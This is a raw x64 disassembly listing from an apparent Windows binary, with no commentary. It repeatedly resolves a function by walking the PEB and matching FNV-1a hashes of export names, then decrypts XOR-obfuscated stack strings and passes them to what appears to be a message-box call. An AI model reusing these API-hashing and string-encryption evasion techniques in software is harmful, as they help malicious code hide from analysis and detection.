mov qword [rbp + 0x970], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x978], rax
movabs rax, 0x1b03264979f40940
mov qword [rbp + 0x980], rax
movabs rax, 0xae5b730cc1ec1558
mov qword [rbp + 0x988], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0x980]
mov qword [rbp + 0x990], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0x998], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0x9a0], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0x9a8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x970]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x970], xmm0
movdqa xmm0, xmmword [rbp + 0x990]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x980], xmm1
movdqa xmm1, xmmword [rbp + 0x9a0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x9a0], xmm1
movdqa xmmword [rbp + 0x990], xmm0
call rbx
lea rcx, [rbp + 0x1028]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059b77
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059b77
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059b72
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059b50
cmp r8d, 0x23a979e4
je 0x140059b7c
test r9d, r9d
jne 0x140059b30
mov rax, qword [rax]
jmp 0x140059b00
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xf48]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059bb1
mov r8, qword [rax]
movabs rdx, 0x7866522c1dd4702c
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x6c0], rdx
movabs rax, 0xea7941439d871e79
mov qword [rbp + 0x6b0], rax
mov r9d, 0x1010
mov qword [rbp + 0x6c8], rcx
movabs rax, 0xbed7da43c1f3155e
movdqa xmm1, xmmword [rbp + 0x6c0]
mov qword [rbp + 0x6b8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17e0], rdx
lea rdx, [rbp + 0x6b0]
mov qword [rbp + 0x17e8], rcx
xor ecx, ecx
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17d8], rax
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x6b0]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmmword [rbp + 0x6c0], xmm1
call rbx
lea rcx, [rbp + 0xf48]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059d07
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059d07
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059d02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059ce0
cmp r8d, 0x23a979e4
je 0x140059d0c
test r9d, r9d
jne 0x140059cc0
mov rax, qword [rax]
jmp 0x140059c90
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xf28]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059d41
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x9b0]
mov qword [rbp + 0x9b0], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x9b8], rax
movabs rax, 0x1a07214579f40940
mov qword [rbp + 0x9c0], rax
movabs rax, 0xae5b730cc1ec1540
mov qword [rbp + 0x9c8], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0x9c0]
mov qword [rbp + 0x9d0], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0x9d8], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0x9e0], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0x9e8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x9b0]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x9b0], xmm0
movdqa xmm0, xmmword [rbp + 0x9d0]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x9c0], xmm1
movdqa xmm1, xmmword [rbp + 0x9e0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x9e0], xmm1
movdqa xmmword [rbp + 0x9d0], xmm0
call rbx
lea rcx, [rbp + 0xf28]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140059f57
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140059f57
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140059f52
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140059f30
cmp r8d, 0x23a979e4
je 0x140059f5c
test r9d, r9d
jne 0x140059f10
mov rax, qword [rax]
jmp 0x140059ee0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xee8]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x140059f91
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x8b0]
mov qword [rbp + 0x8b0], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x8b8], rax
movabs rax, 0x813724272f40940
mov qword [rbp + 0x8c0], rax
movabs rax, 0xb347200088fc1148
mov qword [rbp + 0x8c8], rax
movabs rax, 0xff53214a7885025e
movdqa xmm1, xmmword [rbp + 0x8c0]
mov qword [rbp + 0x8d0], rax
movabs rax, 0x1a62e2458b751858
mov qword [rbp + 0x8d8], rax
movabs rax, 0x48512f4598410642
mov qword [rbp + 0x8e0], rax
movabs rax, 0xdb81582c62185e49
mov qword [rbp + 0x8e8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x8b0]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x8b0], xmm0
movdqa xmm0, xmmword [rbp + 0x8d0]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x8c0], xmm1
movdqa xmm1, xmmword [rbp + 0x8e0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x8e0], xmm1
movdqa xmmword [rbp + 0x8d0], xmm0
call rbx
lea rcx, [rbp + 0xee8]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005a1a7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005a1a7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005a1a2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005a180
cmp r8d, 0x23a979e4
je 0x14005a1ac
test r9d, r9d
jne 0x14005a160
mov rax, qword [rax]
jmp 0x14005a130
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xea8]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14005a1e1
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x9f0]
mov qword [rbp + 0x9f0], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x9f8], rax
movabs rax, 0x1b03264979f40940
mov qword [rbp + 0xa00], rax
movabs rax, 0xae5b730cc1ec1558
mov qword [rbp + 0xa08], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0xa00]
mov qword [rbp + 0xa10], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0xa18], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0xa20], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0xa28], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x9f0]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x9f0], xmm0
movdqa xmm0, xmmword [rbp + 0xa10]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0xa00], xmm1
movdqa xmm1, xmmword [rbp + 0xa20]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0xa20], xmm1
movdqa xmmword [rbp + 0xa10], xmm0
call rbx
lea rcx, [rbp + 0xea8]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005a3f7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005a3f7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005a3f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005a3d0
cmp r8d, 0x23a979e4
je 0x14005a3fc
test r9d, r9d
jne 0x14005a3b0
mov rax, qword [rax]
jmp 0x14005a380
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0x1008]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14005a431
mov r8, qword [rax]
movabs rdx, 0x7866522c1dd4702c
movabs rcx, 0xdc34002ced88702c
mov qword [rbp + 0x680], rdx
movabs rax, 0xea7941439d871e79
mov qword [rbp + 0x670], rax
mov r9d, 0x1010
mov qword [rbp + 0x688], rcx
movabs rax, 0xbed7da43c1f3155e
movdqa xmm1, xmmword [rbp + 0x680]
mov qword [rbp + 0x678], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17e0], rdx
lea rdx, [rbp + 0x670]
mov qword [rbp + 0x17e8], rcx
xor ecx, ecx
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17d8], rax
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmmword [rbp + 0x680], xmm1
call rbx
lea rcx, [rbp + 0x1008]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005a587
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005a587
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005a582
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005a560
cmp r8d, 0x23a979e4
je 0x14005a58c
test r9d, r9d
jne 0x14005a540
mov rax, qword [rax]
jmp 0x14005a510
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xfa8]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14005a5c1
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0xa30]
mov qword [rbp + 0xa30], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0xa38], rax
movabs rax, 0x1a07214579f40940
mov qword [rbp + 0xa40], rax
movabs rax, 0xae5b730cc1ec1540
mov qword [rbp + 0xa48], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0xa40]
mov qword [rbp + 0xa50], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0xa58], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0xa60], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0xa68], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0xa30]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0xa30], xmm0
movdqa xmm0, xmmword [rbp + 0xa50]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0xa40], xmm1
movdqa xmm1, xmmword [rbp + 0xa60]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0xa60], xmm1
movdqa xmmword [rbp + 0xa50], xmm0
call rbx
lea rcx, [rbp + 0xfa8]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005a7d7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005a7d7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005a7d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005a7b0
cmp r8d, 0x23a979e4
je 0x14005a7dc
test r9d, r9d
jne 0x14005a790
mov rax, qword [rax]
jmp 0x14005a760
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xfc8]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14005a811
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0xa70]
mov qword [rbp + 0xa70], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0xa78], rax
movabs rax, 0x813724272f40940
mov qword [rbp + 0xa80], rax
movabs rax, 0xb347200088fc1148
mov qword [rbp + 0xa88], rax
movabs rax, 0xff53214a7885025e
movdqa xmm1, xmmword [rbp + 0xa80]
mov qword [rbp + 0xa90], rax
movabs rax, 0x1a62e2458b751858
mov qword [rbp + 0xa98], rax
movabs rax, 0x48512f4598410642
mov qword [rbp + 0xaa0], rax
movabs rax, 0xdb81582c62185e49
mov qword [rbp + 0xaa8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0xa70]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0xa70], xmm0
movdqa xmm0, xmmword [rbp + 0xa90]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0xa80], xmm1
movdqa xmm1, xmmword [rbp + 0xaa0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0xaa0], xmm1
movdqa xmmword [rbp + 0xa90], xmm0
call rbx
lea rcx, [rbp + 0xfc8]
jmp 0x14005abe5
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005aa27
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005aa27
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005aa22
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005aa00
cmp r8d, 0x23a979e4
je 0x14005aa2c
test r9d, r9d
jne 0x14005a9e0
mov rax, qword [rax]
jmp 0x14005a9b0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
mov edx, 0x10
lea rcx, [rbp + 0xfe8]
add rbx, r10
call fcn.14009c300
mov r8, rax
cmp qword [rax + 0x18], 0x10
jb 0x14005aa61
mov r8, qword [rax]
movabs rax, 0xb97e16589289186f
lea rdx, [rbp + 0x870]
mov qword [rbp + 0x870], rax
mov r9d, 0x1010
movabs rax, 0xafcad15ec3f5130c
xor ecx, ecx
mov qword [rbp + 0x878], rax
movabs rax, 0x1b03264979f40940
mov qword [rbp + 0x880], rax
movabs rax, 0xae5b730cc1ec1558
mov qword [rbp + 0x888], rax
movabs rax, 0xab013c433edc095e
movdqa xmm1, xmmword [rbp + 0x880]
mov qword [rbp + 0x890], rax
movabs rax, 0x1b6eef42c2301544
mov qword [rbp + 0x898], rax
movabs rax, 0x4e5c24499f4a155a
mov qword [rbp + 0x8a0], rax
movabs rax, 0xdb81582c62187002
mov qword [rbp + 0x8a8], rax
movabs rax, 0xca17362cf3ec702c
mov qword [rbp + 0x17d0], rax
movabs rax, 0xdba4b42cb180702c
mov qword [rbp + 0x17d8], rax
movabs rax, 0x7866522c1dd4702c
movdqa xmm0, xmmword [rbp + 0x17d0]
xorps xmm0, xmmword [rbp + 0x870]
mov qword [rbp + 0x17e0], rax
movabs rax, 0xdc34002ced88702c
mov qword [rbp + 0x17e8], rax
movabs rax, 0xdf214e2c58fc702c
xorps xmm1, xmmword [rbp + 0x17e0]
mov qword [rbp + 0x17f0], rax
movabs rax, 0x75018c2cab10702c
mov qword [rbp + 0x17f8], rax
movabs rax, 0x2b3f4a2cf624702c
mov qword [rbp + 0x1800], rax
movabs rax, 0xdb81582c6218702c
movdqa xmmword [rbp + 0x870], xmm0
movdqa xmm0, xmmword [rbp + 0x890]
xorps xmm0, xmmword [rbp + 0x17f0]
movdqa xmmword [rbp + 0x880], xmm1
movdqa xmm1, xmmword [rbp + 0x8a0]
mov qword [rbp + 0x1808], rax
xorps xmm1, xmmword [rbp + 0x1800]
movdqa xmmword [rbp + 0x8a0], xmm1
movdqa xmmword [rbp + 0x890], xmm0
call rbx
lea rcx, [rbp + 0xfe8]
call fcn.140009ab0
lea rcx, [rbp + 0x12e0]
call fcn.140043480
xor esi, esi
mov r14d, 0xdead
jmp 0x1400588b3
lea rcx, [rbp + 0x13e0]
call fcn.14004ab00
mov rdx, qword [rbp + 0x1290]
cmp rdx, 0x10
jb 0x14005ac4c
mov rcx, qword [rbp + 0x1278]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005ac47
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005acad
call fcn.1400a031c
mov qword [rbp + 0x1288], r12
mov qword [rbp + 0x1290], 0xf
mov byte [rbp + 0x1278], r12b
cmp dword [rbp + 0x12d8], r12d
jne 0x14005aca7
cmp dword [rbp + 0x12c8], r12d
jne 0x14005aca7
cmp dword [rbp + 0x12b8], r12d
jne 0x14005aca7
cmp dword [rbp + 0x12a8], r12d
jne 0x14005aca7
jmp 0x14005895d
xor eax, eax
jmp 0x1400589b5
mov ecx, 6
mov dword [rbp + 0x12a8], r12d
call fcn.14009f9fc
int3
call fcn.1400d2c4c
int3
call fcn.1400d0a24
int3
mov ecx, 6
mov dword [rbp + 0x12d8], r12d
call fcn.14009f9fc
int3
mov ecx, 6
mov dword [rbp + 0x12c8], r12d
call fcn.14009f9fc
int3
mov ecx, 6
mov dword [rbp + 0x12b8], r12d
call fcn.14009f9fc
int3
mov ecx, r14d
call fcn.14009f9fc
int3